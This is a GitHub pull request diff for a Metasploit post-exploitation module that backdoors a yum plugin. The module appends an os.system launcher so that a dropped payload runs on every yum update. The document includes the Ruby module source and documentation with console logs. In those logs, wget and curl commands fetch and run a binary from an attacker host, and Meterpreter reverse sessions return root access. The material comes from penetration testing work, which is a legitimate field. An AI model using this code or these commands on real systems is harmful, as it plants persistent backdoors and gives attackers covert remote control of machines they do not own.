Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view

This file was deleted.

112 changes: 112 additions & 0 deletions documentation/modules/exploit/linux/persistence/yum_package_manager.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
## Description

This module will run a payload when the package manager is used.
This module modifies a yum plugin to launch a binary of choice.
`grep -F 'enabled=1' /etc/yum/pluginconf.d/`
will show what plugins are currently enabled on the system.

root persmissions are likely required.

Verified on Centos 7.1

## Verification Steps

1. Exploit a box that uses Yum
2. `use exploit/linux/persistence/yum_package_manager`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
5. `exploit`

When the system runs yum update the payload will launch. You must set handler accordingly.

## Options

### PAYLOAD_NAME

Name of backdoor executable

### PLUGIN

Name of the yum plugin to target

### PluginPath

Plugin path to use default is (`/usr/lib/yum-plugins/`)

## Scenarios

### Tested on Centos 7.1

Initial access vector via web delivery

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO KOiqZchh --no-check-certificate http://111.111.1.111:8181/l; chmod +x KOiqZchh; ./KOiqZchh& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.2.100
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 192.168.2.100:34470) at 2025-02-16 11:30:09 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/yum_package_manager
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:2 Agents:2) exploit(linux/persistence/yum_package_manager) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/home/centos) > getuid
Server username: root
(Meterpreter 1)(/home/centos) > sysinfo
Computer : centos71.localdomain
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
(Meterpreter 1)(/home/centos) > background
[*] Backgrounding session 1...
```

Persistence

```
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > exploit
[*] Command to run on remote host: curl -so ./lgtOaZox http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./lgtOaZox;./lgtOaZox&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/yum_package_manager) >
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[+] Plugins are enabled!
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53880) at 2025-02-16 11:30:59 -0500
[!] The service is running, but could not be validated. yum installed and plugin found, enabled, and backdoorable
[*] Attempting to modify plugin
[*] Backdoor uploaded to /tmp/7EtplboZD
[+] Backdoor will run on next Yum update
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/centos71.localdomain_20250216.3101/centos71.localdomain_20250216.3101.rc
```
Original file line number Diff line number Diff line change
Expand Up @@ -5,22 +5,28 @@

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::System
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/yum_package_manager_persistence'

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Yum Package Manager Persistence',
'Description' => %q{
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. Module modifies a yum plugin to
launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/
This module will run a payload when the package manager is used.
This module modifies a yum plugin to launch a binary of choice.
grep -F 'enabled=1' /etc/yum/pluginconf.d/
will show what plugins are currently enabled on the system.
root persmissions are likely required.
Verified on Centos 7.1
},
'License' => MSF_LICENSE,
'Author' => ['Aaron Ringo'],
Expand All @@ -36,27 +42,24 @@ def initialize(info = {})
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultOptions' => {
'WfsDelay' => 0, 'DisablePayloadHandler' => true,
'Payload' => 'cmd/unix/reverse_python'
},
'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum
'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'Privileged' => true,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)

register_options(
[
# /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),
OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])
OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']),
OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write'])
]
)

Expand All @@ -68,53 +71,57 @@ def initialize(info = {})
)
end

def exploit
def check
return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir']
return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir']

# checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable
plugin = datastore['PLUGIN']
full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py"
print_status(full_plugin_path)
unless writable? full_plugin_path
fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system"
end
full_plugin_path = "#{datastore['PluginPath']}#{plugin}"
return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path
return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path
return CheckCode::Safe('yum not found on system') unless command_exists? 'yum'
return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed'

# /etc/yum.conf must contain plugins=1 for plugins to run at all
plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf"
unless plugins_enabled.include? 'plugins=1'
fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'
end
print_good('Plugins are enabled!')
return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1'

vprint_good('Plugins are enabled!')

# /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1
plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf"
plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf"
plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}"
unless plugin_enabled.include? 'enabled=1'
print_bad("#{plugin_conf} plugin is not configured to run")
fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*"
end

# plugins are made in python and generate pycs on successful execution
unless exist? "#{full_plugin_path}c"
print_warning('Either Yum has never been executed, or the selected plugin has not run')
end

# check for write in backdoor path and set/generate backdoor name
backdoor_path = datastore['WritableDir']
unless writable? backdoor_path
fail_with Failure::BadConfig, "#{backdoor_path} is not writable"
return CheckCode::Safe("#{plugin_conf} plugin is not configured to run")
end
backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
backdoor_path << backdoor_name

# check that the plugin contains an import os, to backdoor
import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}"
unless import_os_check.include? 'import os'
fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd"
return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd")
end

CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable')
end

def install_persistence
plugin = datastore['PLUGIN']
full_plugin_path = "#{datastore['PluginPath']}/#{plugin}"

# plugins are made in python and generate pycs on successful execution
print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c"

# check for write in backdoor path and set/generate backdoor name
payload_path = datastore['WritableDir']
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name

# check for sed binary and then append launcher to plugin underneath
print_status('Attempting to modify plugin')
launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')"
sed_path = cmd_exec "command -v sed"
launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')"
sed_path = cmd_exec 'command -v sed'
unless sed_path.include?('sed')
fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'
end
Expand All @@ -123,17 +130,18 @@ def exploit

# actually write users payload to be executed then check for write
if payload.arch.first == 'cmd'
write_file(backdoor_path, payload.encoded)
write_file(payload_path, payload.encoded)
else
write_file(backdoor_path, generate_payload_exe)
write_file(payload_path, generate_payload_exe)
end
unless exist? backdoor_path
fail_with Failure::Unknown, "Failed to write #{backdoor_path}"
@clean_up_rc << "rm #{payload_path}\n"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The yum plugin the module writes to wasn't getting cleaned up.

I've tested this and it works. I was originally attempting to execute the sed command via sh -a "-c ... while matching the entire line os.system('setsid /home/msfuser/6RdLsBUL 2>/dev/null & ') but was ran into some issues trying to escape all the special characters together properly.

Suggested change
@clean_up_rc << "rm #{payload_path}\n"
@clean_up_rc << "rm #{payload_path}\n"
@clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\""

unless exist? payload_path
fail_with Failure::Unknown, "Failed to write #{payload_path}"
end

# change perms to reflect bins in /usr/local/bin/, give good feels
chmod(backdoor_path, 0755)
print_status("Backdoor uploaded to #{backdoor_path}")
print_status('Backdoor will run on next Yum update')
chmod(payload_path, 0o755)
print_status("Backdoor uploaded to #{payload_path}")
print_good('Backdoor will run on next Yum update')
end
end